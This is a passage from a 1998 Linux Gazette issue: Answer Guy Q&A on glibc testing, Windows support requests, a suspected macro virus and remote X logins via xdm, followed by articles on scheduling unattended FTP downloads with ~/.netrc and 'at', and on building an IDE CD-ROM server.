--- this would help.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">The specific version I want to test is the glibc v2.0.7 that comes
with RH Linux v5.1 and updated after 5.1 release by package
glibc-2.0.7-19.src.rpm. I think that such a testsuite, though, if
it exists, would be applicable to any platform.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I agree. I just wish I could really co-ordinate such
a project. I think this is another example where our
academic communities could really help. Before I've
said that I would like to see the "adopt a '<TT>man</TT>' page
project" --- where college and university professors
even high school teachers from around the world assign
a job to their students:
</blockquote>
<blockquote>Find a command or package for Linux, <A HREF="http://www.freebsd.org/">FreeBSD</A>,
etc. Read the man pages and other docs.
Find one way that the command is used or useful
that is not listed the "examples" section of
that man page. Write a canonical example of
that command variant.
</blockquote>
<blockquote>... they would get graded on their work --- and any A's
would be encouraged (solely at their option) to submit
the recommended example as a patch to the maintainer of
the package.
</blockquote>
<blockquote>Similar assigments would be given for system calls, library
functions, etc (as appropriate to the various classes and
class segments).
</blockquote>
<blockquote>Along with this, we could have a process by which students
are encouraged to find bugs in existing real world software
--- write test suites and scripts to test for the recurrence
of these bugs in future versions (regressions), and submit
the tests to that package's maintainer.
</blockquote>
<blockquote>The problem with all of this is that testing is not
glamorous. It is boring for most people. Everyone
knows Richard M. Stallman's and Linus Torvalds' names
--- but fewer people remember the names of the other
programmers that they work with and no one know who
contributed "just the testing."
</blockquote>
<blockquote>There are methods that can be used to many detect bugs quicker
and more reliably than by waiting until users "bump into"
them. These won't be comprehensive. They won't catch
"all" of the bugs. However, people will "bump" into enough
bugs in normal usage, even if we employ the best principles
of QA practice across the board.
</blockquote>
<blockquote>Unfortunately I don't have the time to really devote to
such a project. I devote most of my "free" time to the
tech support department. I do have spare machine cycles.
could gladly devote time to running these tests
and reporting results. Obviously some tests require whole
networks, preferably disconnected ones, on which to
run safely. Setting up such test beds, and designing
tests that return meaningful results is difficult work.
</blockquote>
<blockquote>I personally think that good test harnesses are often
harder to design than the programs that they are designed
to test.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Thank you.
<br>***** Steve Snyder *****
</strong></p>
<!-- end body -->
<A NAME="tag/w95ie.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>All that Vaunted Support for those Windows Users</H3>
<p><strong>From prince20 on 14 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>Hi
</strong></p>
<p><strong>My Favorites Folder was converted to a shell file after I
reinstalled Windows95 and Internet Explorer 4.01SP.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">What is a "shell file"?
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Yeah you guessed it I did not back up the folder. The problem I have
is that I can not open the shell file. I have used every method I
know but nothing is happening.
</strong></p>
<p><strong>Do you know of a tool or a way to open the shell file?
Please Email me. Your help is appreciated.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I'd look at it in '<TT>vi</TT>' if it was on my system. However,
that probably isn't very helpful.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Thank You
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Where did you get this address and why did you mail
this question to me? I volunteer time to answer
Linux questions. I don't run Win 95. Microsoft
and other commercial software companies are supposed
to have their own tech support departments. If those
sources of support are failing you --- perhaps you should
reconsider your software purchases.
</blockquote>
<!-- end body -->
<A NAME="tag/w95ras.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Another Non-Linux Question</H3>
<p><strong>From Zeki67@aol.com on 08 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>I have been trying to connect my brothers PC in Louisville with mine in
Atlanta using his Win95 dial-up as a client and mine as nt4.0 ras server.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I'm the "Linux Gazette Answer Guy" --- call Microsoft's
tech support with our questions about their OS.
</blockquote>
<blockquote>If you'd like to try Linux at either end of this connection
--- be sure to look through some of our HOWTO's and
guides at: <A HREF="http://sunsite.unc.edu/LDP">http://sunsite.unc.edu/LDP</A> (Linux Documentation
Project).
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">We have tried with different protocols, and our workgroups, user
names and p/words matching but with no success.
</strong></p>
<p><strong>He can dial from win95, but mine does not respond at all. So I
thought my modem which is not listed in misrosoft's HCL, is CPI
Viva 33.6 CommCenter. I know for sure that my modem could not
automaically answer the call under nt4.0, because when I set up my
server as Win95 Dial-up server the modem answered and we made the
connection. I even tried to edit the modem log for my modem type
incase if it works, but I didn't know how to edit the log.
</strong></p>
<p><strong>Is there any method you can think of how to solve this problem. I
want to use my nt4.0 RAS to connect to Win95 Dial-Up
client. Please help me.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I want to stop getting questions for some OS that I
don't run, a derivative of one that I abandonned
a half decade ago. Please help me. Call Microsoft
(or hire an MCSE, or try your modem vendor).
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Thank you.
Zeki
</strong></p>
<p><em>[ All of you folks interested in MS-Windows rather than the
Linux environment might find
<a href="http://www.fixwindows.com/"
>http://www.fixwindows.com/</a> handy; it's run by
MCSE's, so I suppose in a worst case, you know where
to hire someone. But before you go that far, they have
a vendor phone listing, and some hints for effective
troubleshooting. There's also a newsgroup heirarchy for
your environment.
</em></p>
<p><em>
If you are considering switching
and you like experimenting, you might help out the
WINE Prohect at <a href="http://www.winehq.com/"
>http://www.winehq.com/</a>, run a copy of WinOS/2
under Dosemu (<a href="http://www.suse.com/dosemu/"
>http://www.suse.com/dosemu/</a>), or try any of
the growing number of major applications available
in both environments. -- Heather ]</em></p>
<!-- end body -->
<A NAME="tag/w95virus.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"width="50" height="28"
align="left" border="0">Macro Virus? </H3>
<p><strong>From garygonegolfing@juno.com on 14 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hello, Answerguy,
</strong></p>
<p><strong>I found you on the web. Your name simply dictates that I must ask you a
question:
</strong></p>
<p><strong>A user has a Dell Laptop running Windows 95, Office97, and Outlook 98.
Apparently, he has acquired some sort of virus (I'm assuming here)
because when he opens Outlook 98 (Exchange 5.5) and sends and email
(replies or writes a new message) three windows automatically open and
the cursor continuously types a character until he hits the spacebar.
This happens when he opens a Word document and an Excel document, too.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">You only know part of the story. My full "name"
is "The Linux Gazette Answer Guy" (tag).
</blockquote>
<blockquote>So, I answer <EM>LINUX</EM> questions.
</blockquote>
<blockquote>However....
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Background:
</strong></p>
<p><strong>I've run McAfee 3.2 (with latest DAT files) and found no trace of viruses
(clean boot, et al.). This laptop was sent back to Dell and they
(supposedly) Fdisked it and reinstalled the OS. Worked for a while, but
IT'S BAAAACK. Definitely sounds like some sort of file infection, but
I'm at my witt's end. I've scanned all files on the network and found
one Macro-infected virus (cleaned).
</strong></p>
<p><strong>Any information or insight that you can provide would be welcome.
</strong></p>
<p><strong>Thanks for your time, AG.
</strong></p>
<p><strong>Gary Hollifield
<br>MIS Manager
<br>FOCUS Enhancements, Inc.
</strong></p>
<p><strong>NOTE: Please reply to all (I would like to get this at work, too).
Thanks again.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">As it happens I used to work for McAfee (as a Unix sysadmin,
and their BBS SysOp). I also did some QA on SCAN.
</blockquote>
<blockquote>While the behaviour you describe is suspicious, we can't
definitely say that it is a virus solely from the symptoms
you describe.
</blockquote>
<blockquote>I would wipe the system personally (don't send it off
to the chop shop, do it yourself). Leave it completely
off of the network for a few days (at least twice as
long as it seemed to take for the problem to appear on
the prevous occasions).
</blockquote>
<blockquote>Install all software, OS, Office, etc from the orginal CD's.
Manually disable the "boot from floppy" options in the CMOS
setup and the "autoexecute macro" features from WinWord and
Excel. Manually inspect all documents that go onto the
system (and limit yourself to short documents).
</blockquote>
<blockquote>It could be some strange compatibility problem. If you
don't see this happening on <EM>any other systems</EM> in your
network, and with which this system as been sharing
files, floppies and users, than it's not a virus (it's
not spreading!).
</blockquote>
<blockquote>Other than that, I'd consider putting Linux on it,
and running that. Although there as been one "virus" for
Linux (Bliss, a piece of sample code that actually managed
to honestly infect a couple of users), they are simply not
a problem for Linux, <A HREF="http://www.freebsd.org/">FreeBSD</A>, or other Unix users.
</blockquote>
<!-- end body -->
<A NAME="tag/xdm.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Remote X using xdm</H3>
<p><strong>From Andy Faulkner on 28 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>Dear answerguy.
</strong></p>
<p><strong>I have been trying for the last several hours that when I first started
it sounded simple.
</strong></p>
<p><strong>I am trying to launch a <tt>xdm</tt> session on my linux box from a another linux
box on the same network.
</strong></p>
<p><strong>I have tried to use "<tt>chooser</tt>" but it brings up no listed hosts. Also
when I fire up chooser I see nothing going across the network. I hate
to say this but with my Winblows box I can do it with reflectionX. I am
running <A HREF="http://www.suse.com/">S.u.S.E.</A> 5.2 and the other machine is running 5.3. We are both
using <A HREF="http://www.kde.org/">KDE</A> and also using <tt>kdm</tt> instead of <tt>xdm</tt>. We have tried both, and
both had the same results. It looks as though I am not sending the
request out to the host for a <tt>xdm</tt> session.
</strong></p>
<p><strong>I can't seem to find any docs on "<tt>chooser</tt>" or on how to launch a session
on a linux box.
</strong></p>
<p><strong>What do you think?
Andy Faulkner
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I think '<TT>chooser</TT>' (/usr/X11R6/lib/X11/xdm/chooser)
is normally run by '<TT>xdm</TT>' --- probably with some
special environment variables and parameters.
--- I don't think it's feasible to run '<TT>chooser</TT>' by
itself. (That would be a good reason to put it in the
"lib" directory rather than under a bin directory ---
and would explain why it has no man page of its own.
</blockquote>
<blockquote>(I'll grant that this seems like an odd way to
do it --- since making '<TT>chooser</TT>' a shared library
would make more sense from a classical programming
point of view. In any event I don't know how you'd
use '<TT>chooser</TT>' directly).
</blockquote>
<blockquote>Remote execution of X sessions via xdm is a bit confusing.
Under S.u.S.E. they have a script <tt>/sbin/init.d/rx</tt> which can
be used with their <tt>/etc/rc.config</tt> variable settings to run
the xdm and allow access via XDMCP (the X display manager
control protocol).
</blockquote>
<blockquote>To remotely access systems running these display managers
you have to run your X server with a command such as:
</blockquote>
<blockquote><blockquote><code>X -broadcast
</code></blockquote></blockquote>
<blockquote>(connect to the "first" --- or only --- available xdm
server).
</blockquote>
<blockquote>Alternatively you can specify the server you want to
connect to with a command like:
</blockquote>
<blockquote><blockquote><code>X -query $HOST
</code></blockquote></blockquote>
<blockquote>--- which will require the host name or IP address.
</blockquote>
<blockquote>To use the chooser you have to run a command like:
</blockquote>
<blockquote><blockquote><code>X -indirect $HOST
</code></blockquote></blockquote>
<blockquote>... this will cause the xdm on the named host to
provide a list of known xdm hosts (possibly including
itself).
</blockquote>
<blockquote>In any of these cases the '<TT>xdm</TT>' process must already
be running on the remote host. That host need not
be running any X server! (I realize the terminology
is confusing --- more on that later).
</blockquote>
<blockquote>To quote the xdm man page:
</blockquote>
<blockquote><blockquote>
When xdm receives an Indirect query via XDMCP, it can run
a chooser process to perform an XDMCP BroadcastQuery (or
an XDMCP Query to specified hosts) on behalf of the
display and offer a menu of possible hosts that offer XDMCP
display management. This feature is useful with X
terminals that do not offer a host menu themselves.
</blockquote></blockquote>
<blockquote>(it's also possible to configure the list manually
and to configure it so that some BroadcastQuery replies
are ignored).
</blockquote>
<blockquote>I have no '<TT>kdm</TT>' incorporates all of these functions are
not. You should look through their man page for details.
</blockquote>
<blockquote>I'm also a bit unclear on how you'd run xdm such that
it would <EM>not</EM> run a local display server. I know it's
possible, but I'm not sure how. (In other words, if you
want to run '<TT>kdm</TT>' on your console and '<tt>xdm</tt>' for the
remote X servers).
</blockquote>
<blockquote>I realize the terminology is a bit confusing here. We
have "xdm servers" running on one machine, and X servers
(the X Windows <EM>display server</EM> --- the think that actually
controls your video card) running on other machines. Note
that the X <EM>display server</EM> controls your video card and
acts as a communications package between your display
(keyboard, video, and mouse) and the programs that are
running under X (the "clients" to your display server).
</blockquote>
<blockquote>Thus '<TT>xdm</TT>' is a "client" to your X display server
regardless of whether that '<TT>xdm</TT>' process is running on
you localhost or on another machine on the network.
</blockquote>
<blockquote>To complicate issues even further the '<TT>xdm</TT>' "indirect"
option first connects your X server to a one client
--- then, based on the selection you make from the
chooser, it restarts your X server with instructions on
connecting to another '<TT>xdm</TT>' host.
</blockquote>
<blockquote>In the end, when you connect to a host via 'xdm', you
log into and it is as though you were running an X session
at that system's console. All of the windows you open
will be processes running on the '<TT>xdm</TT>' host. So you can
think of '<TT>xdm</TT>' as a combined '<tt>getty</tt>' and
'<tt>telnetd</tt>' and '<tt>login</tt>' for the X protocol.
</blockquote>
<blockquote>There are a variety of shell scripts under
<tt>/usr/X11R6/lib/X11/xdm</tt> that control how the console is
"taken" (back from a user that logs out) "given"
(to a user that logs in), "setup" (prior to xdm's
display of the "xlogin" widget), "started" (as 'root'
but after login) and how the "session" is started
(under the user's UID).
</blockquote>
<blockquote>You'll want to read the xdm man page and all of the
scripts and resource files in the xdm directory to
adjust these things. (It just amazes me how complicated
all that vaunted "flexibility" and all those customization
options can make something as seemingly simple as:
provide me with a GUI login).
</blockquote>
<blockquote>Anyway, I hope that helps.
</blockquote>
<!-- end body -->
<P><B>"Linux Gazette...<I>making Linux just a little more fun!</I>"
</B></P>
<H1 ALIGN=CENTER>
<HR WIDTH="100%">Building an Automatic FTP Retriever</H1>
<CENTER><P>by <A HREF="mailto:aizquier@ciencias.ciencias unal.edu.co">Manuel
Arturo Izquierdo </A></P></CENTER>
<CENTER><P>
<HR WIDTH="100%"></P></CENTER>
<P>Internet is the big and wide world of infomation, which is really great,
but when one works on a limited Internet access, retrieving big amounts
of data may become a nigthmare. This is my particular case. I work at the
National Astronomic Observatory, Universidad Nacional de Colombia. Its
ethernet LAN is attached to a main ATM university's network backbone. However,
the external connection to the world goes through a 64K bandwidth channel
and that's a real problem when more than 500 users surf the net on day
time, for Internet velocity becomes offendly slow. Matter change when night
comes up and there is nobody at the campus, and so the transmition rate
grows to acceptable levels. Then, one can downloading easily big quantities
of information (for example, a whole Linux distribution). But as we are
mortal human beings, it's not very advisable to keep awake all nights working
at the computer. Then a solution arises: Program the computer so it works
when we sleep. Now the question is: How to program a Linux box to do that?
This is the reason I wrote this article.</P>
<P>On this writting I cover the concerning about ftp connections. I have
not worked yet on http connections, if you did so, please tell me.</P>
<P>At first sight, a solution comes up intuitively: Use the <TT>at</TT>
command to program an action at a given time. Let's remember how looks
a simple ftp session (in bold are the commands entered by user):</P>
<PRE>bash$ <B>ftp anyserver.anywhere.net
</B>Connected to anyserver.anywhere.net.
220 anyserver FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995)
ready.
Name (anyserver:theuser): <B>anonymous
</B>331 Guest login ok, send your complete e-mail address as password.
Password:<B><I>(an e-mail address)
</I></B>230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> <B>cd pub
</B>ftp> <B>bin
</B>ftp> <B>get anyfile.tar.gz
</B>150 Opening BINARY mode data connection for anyfile.tar.gz (3217 bytes).
226 Transfer complete.
3217 bytes received in 0.0402 secs (78 Kbytes/sec)
ftp> <B>bye
</B>221 Goodbye.
bash$
</PRE>
<P>You can write a small shell script containing the steps that <TT>at</TT>
will execute. To manage the internal ftp commands into a shell script you
can use a shell syntax feature that permits to embed data that supposely
would come from the standard input into a script. This is called a "here"
document:</P>
<PRE>#! /bin/sh
echo This will use a "here" document to embed ftp commands in this script
# Begin of "here" document
ftp <<**
open anyserver.anywhere.net
anonymous
mymail@mailserver.net
cd pub
bin
get anyfile.tar.gz
bye
**
# End of "here" document
echo ftp transfer ended.</PRE>
<P>Note that all the data between the <TT>**</TT> strings are sended to
the ftp program as if it has been written by the user. So this script would
open a ftp connection to <TT>anyserver.anynet.net</TT>, loging as <TT>anonymous</TT>
with <TT>mymail@mailserver.net</TT> as password, will retrieve the <TT>anyfile.tar.gz</TT>
file located at the <TT>pub</TT> directory using binary transfer mode.
Theoretically this script looks okay, but on practice it won't work. Why?
Because the ftp program does not accept the username and password via a
"here" document; so in this case ftp will react with an "Invalid
comand" to <TT>anonymous</TT> and <TT>mymail@mailserver.net</TT> .
Obviously the ftp server will reject when no login and password data are
sended.</P>
<P>The tip to this lies in a hidden file that ftp uses called <TT>~/.netrc</TT>
; this must be located on the home directory. This file contains the information
required by ftp to login into a system, organized in tree text lines:</P>
<PRE>machine anyserver.anynet.net
login anonymous
password mymail@mailserver.net</PRE>
<P>In the case for private ftp connections, the<TT> password</TT> field
must have the concerning account password, instead an email as for anonymous
ftp. This may open a security hole, for this reason ftp will require that
the <TT>~/.netrc</TT> file lacks of read, write, and execute permission
to everybody, except the user. This is done easily using the <TT>chmod</TT>
command:</P>
<P><TT>chmod go-rwx .netrc</TT></P>
<P>Now, our shell script will look so:</P>
<PRE>#! /bin/sh
echo This will use a "here" document to embed ftp commands in this script
# Begin of "here" document
ftp <<**
open anyserver.anywhere.net
cd pub
bin
get anyfile.tar.gz
bye
**
# End of "here" document
echo ftp transfer ended.</PRE>
<P>ftp will extract the login and passwd information fron <TT>~/.netrc</TT>
and will realize the connection. Say we called this script <TT>getdata</TT>
(and made it executable with <TT>chmod ugo+x getdata</TT>), we can program
its execution at a given time so:</P>
<P><TT>bash$<B> at 1:00 am<BR>
getdata<BR>
(control-D)<BR>
</B>Job 70 will be executed using /bin/sh<BR>
bash$</TT></P>
<P>When you return at the morning, the requested data will be on your computer!</P>
<P>Another useful way to use this script is:</P>
<PRE>bash$ <B>nohup getdata &
</B>[2] 131
bash$ nohup: appending output to 'nohup.out'
bash$ </PRE>
<P><TT>nohup</TT> permits that the process it executes (in this case <TT>getdata</TT>)
keeps runnig in spite of the user logouts. So you can work in anything
else while in the background a set of files are retrieved, or make logout
without kill the ftp children process.</P>
<P>In short you may follow these steps:</P>
<UL>
<LI>Put the server name, user (anonymous) and password information in the
<TT>~/.netrc</TT> file</LI>
<LI>Be sure that the ~/.netrc file permissions be <TT>rwx------</TT></LI>
<LI>Write a script with the template:<BR>
<TT>#! /bin/sh<BR>
ftp <<**<BR>
open</TT> (the ftp servername)<BR>
<BR>
(sequence of ftp commands...)<BR>
<BR>
<TT>bye<BR>
**</TT></LI>
<LI>Allow execute permission to the script: <TT>chmod ugp+x scriptname</TT></LI>
<LI>Program the execution time:<BR>
<TT>at 1:00 am<BR>
thescript<BR>
(control-D)</TT></LI>
</UL>
<P>And voilá. </P>
<P>Additionally you can add more features to the script, so it automatically
manages the updating of the <TT>~/.netrc</TT> file and generates a log
information file showing the time used:</P>
<PRE>#!/bin/sh
# Makes a backup of the old ~/.netrc file
cp $HOME/.netrc $HOME/netrc.bak
# Configures a new ~/.netrc
rm $HOME/.netrc
echo machine anyserver.anywhere.net > $HOME/.netrc
echo login anonymous >> $HOME/.netrc
echo password mymail@mailserver.net >> $HOME/.netrc
chmod go-rwx $HOME/.netrc
echo scriptname log file > scriptname.log
echo Begin conection at: >> scriptname.log
date >> scriptname.log
ftp -i<<**
open anyserver.anywhere.net
bin
cd pub
get afile.tar.gz
get bfile.tar.gz
bye
**
echo End conection at: >> scriptname.log
date >> scriptname.log
# End of scriptname script</PRE>
<P>To create by hand such script each time we need to download data may
be annoying. For this reason I have wrote a small <A HREF="izquierdo2.html">tcl/tk8.0
application</A> to generate a script under our needs.</P>
<P>You can find detailed information about the ftp command set in its respective
man page. </P>
<P>
<HR WIDTH="100%"></P>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Manuel Arturo Izquierdo <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./lg_answer34.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./jachim.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Building an IDE CD-ROM Server</font></H1>
</center>
<P ALIGN="CENTER">by </B></FONT><A HREF="http://www.karmanos.org/~jachimr">Ron Jachim</A><B><FONT FACE="Arial" SIZE=2> and </B></FONT><A HREF="http://www.karmanos.org/~coklh">Howard Cokl</A></P>
<B><FONT FACE="Arial" SIZE=2><P ALIGN="CENTER">of the </B></FONT><A HREF="http://www.karmanos.org/">Barbara Ann Karmanos Cancer Institute</A></P>
<P> <HR> <P>
<FONT FACE="Arial" SIZE=2><B>Introduction
</B><P>The advantages of having a CD-ROM jukebox should be readily apparent in a networked environment. You can provide multiple CD-ROMs to multiple people. Granted, in an ideal environment, you would want the throughput of SCSI CD-ROM drives. There are also disadvantages to SCSI drives. They are more expensive and harder to configure. A cheaper alternative is to use a bunch of IDE CD-ROM drives. Many people even have slower ones lying around because they just had to have a faster one.</P>
<B><P>What you need:</P>
<UL>
</B><LI>PC Capable of running Linux </LI>
<LI>1 or 2 IDE Controller Cards, depending on the capabilities of the motherboard see below for additional information. </LI>
<LI>7 IDE CD-ROM drives </LI>
<LI>1 IDE Hard Disk </LI>
<LI>Case with 7 5.25" form factor exposed drive bays and one additional drive bay for the hard disk.</LI></UL>
<P>I assume that you can assemble all of the parts necessary. You may have to call around and ask about an appropriate case -- order it with a power supply as they sometimes use unusual ones. JDR does not show one in their catalog, but we got ours from JDR. The most unusual component is the IDE controller which we have describe below, and it is not even that unusual.</P>
<B><P>IDE Controller Description</P>
</B><P>The only key to this server is that you can have up to four IDE channels, each capable of supporting two drives. The controller must be ATAPI compliant to support IDE CD-ROM drive. Assuming you use a single IDE hard disk for booting, that leaves up to seven connection points for additional IDE devices, in this case CD-ROM drives. An appropriate controller is the Enhanced IDE controller card, part number MCT-ILBA from JDR Microdevices (www.jdr.com) which lists at $69.99.</P>
<P>Many motherboards are capable of supporting one or two IDE channels, so configuration instructions vary slightly. The rest of the discussion assumes you want a maximal configuration. </P>
<P> </P>
<B><P>No Channels on the Motherboard (two IDE controller cards required)</P>
</B><P>Configure the first controller so that its first channel is the primary controller and the second channel is the secondary controller. The controller card should have a BIOS address and you will need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card).</P>
<P>Configure the second controller so that its first channel is the tertiary (third) controller and the second channel is the quaternary (fourth) controller.</P>
<P>Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges.</P>
<B><P>1 Channel on Motherboard (two IDE controller cards required)</P>
</B><P>If the motherboard has one IDE channel, it will support two IDE drives. Configure the channel as primary. You probably have no choice in this, but if you do, choose primary.</P>
<P>Configure the first IDE controller card so that its first channel is the secondary controller and disable the second channel. The controller card should have a BIOS address and you will need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card).</P>
<P>Configure the second IDE controller card so that its first channel is the tertiary controller and the second channel is the quaternary controller.</P>
<P>Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges.</P>
<B><P>2 Channels on Motherboard (one IDE controller card required)</P>
</B><P>If the motherboard has two IDE channels, it will support four IDE drives. Configure the first channel as the primary controller and the second channel as the secondary controller.</P>
<P>Configure the IDE controller card so that its first channel is the tertiary controller and the second channel is the quaternary controller. The controller card should have a BIOS address and you'll need to make sure it does not conflict with any other BIOS address ranges already in use (or on the other IDE controller card).</P>
<P>Note your IRQ and I/O Address range for all channels. Remember, you cannot share the IRQs, I/O address ranges, or BIOS address ranges.</P>
<B><P>Table of Common IDE Information</P></B></FONT>
<TABLE CELLSPACING=0 BORDER=0 CELLPADDING=7 WIDTH=638>
<TR><TD WIDTH="20%" VALIGN="TOP">
<B><FONT FACE="Arial" SIZE=2><P>#</B></FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<B><FONT FACE="Arial" SIZE=2><P>Channel</B></FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<B><FONT FACE="Arial" SIZE=2><P>IRQ</B></FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<B><FONT FACE="Arial" SIZE=2><P>I/O Address*</B></FONT></TD>
<TD WIDTH="20%" VALIGN="TOP"> </TD>
</TR>
<TR><TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>0</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>Primary</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>14</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>1F0-1F8</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP"> </TD>
</TR>
<TR><TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>1</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>Secondary</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>15</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>170-178</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP"> </TD>
</TR>
<TR><TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>2</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>Tertiary</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>11</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>1E8-1EF</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP"> </TD>
</TR>
<TR><TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>3</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>Quaternary</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>10</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP">
<FONT FACE="Arial" SIZE=2><P>168-16F</FONT></TD>
<TD WIDTH="20%" VALIGN="TOP"> </TD>
</TR>
</TABLE>
<FONT FACE="Arial" SIZE=2><P> </P>
<P>* Note: the documentation with our card was incorrect.</P>
<B><P>Software Installation</P>
</B><P>Once you have configured the hardware and noted all settings, you are nearly done. </P>
<P>Start the Slackware installation with the bootdisk. A normal Linux installation has two IDE channels configured, so you only need to configure in the other two channels. At the "boot:" prompt specify the additional IDE channels using kernel "command line" options. For example,</P>
<P>boot: ide2=0x1e8,0x1ef,11 ide3=0x168,0x16f,10</P>
<P>As you can see, the third IDE channel (ide2) uses I/O addresses in the range 1E8-1EF and IRQ 11. The fourth IDE channel (ide3) uses I/O addresses in the range 168-16F and IRQ 10.</P>
<P>After completion of the Slackware install it is simply a matter of either exporting the drives for NFS mounting or configuring Samba and sharing the drives.</P>
<B><P>Next Step</P>
</B><P>The next thing we would like to do is configure the CD-ROM server with 8 CD-ROM drives and no hard disk. We feel it is a technically elegant solution to have the boot disk be a custom-burned CD-ROM and use BOOTP or DHCP to handle the network configuration. A possible alternative is to use a solid state drive for boot purposes.</P></FONT>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Ron Jachim and Howard Cokl<BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./izquierdo.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./york.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Creating a Linux Certification Program - The Next Step</font></H1>
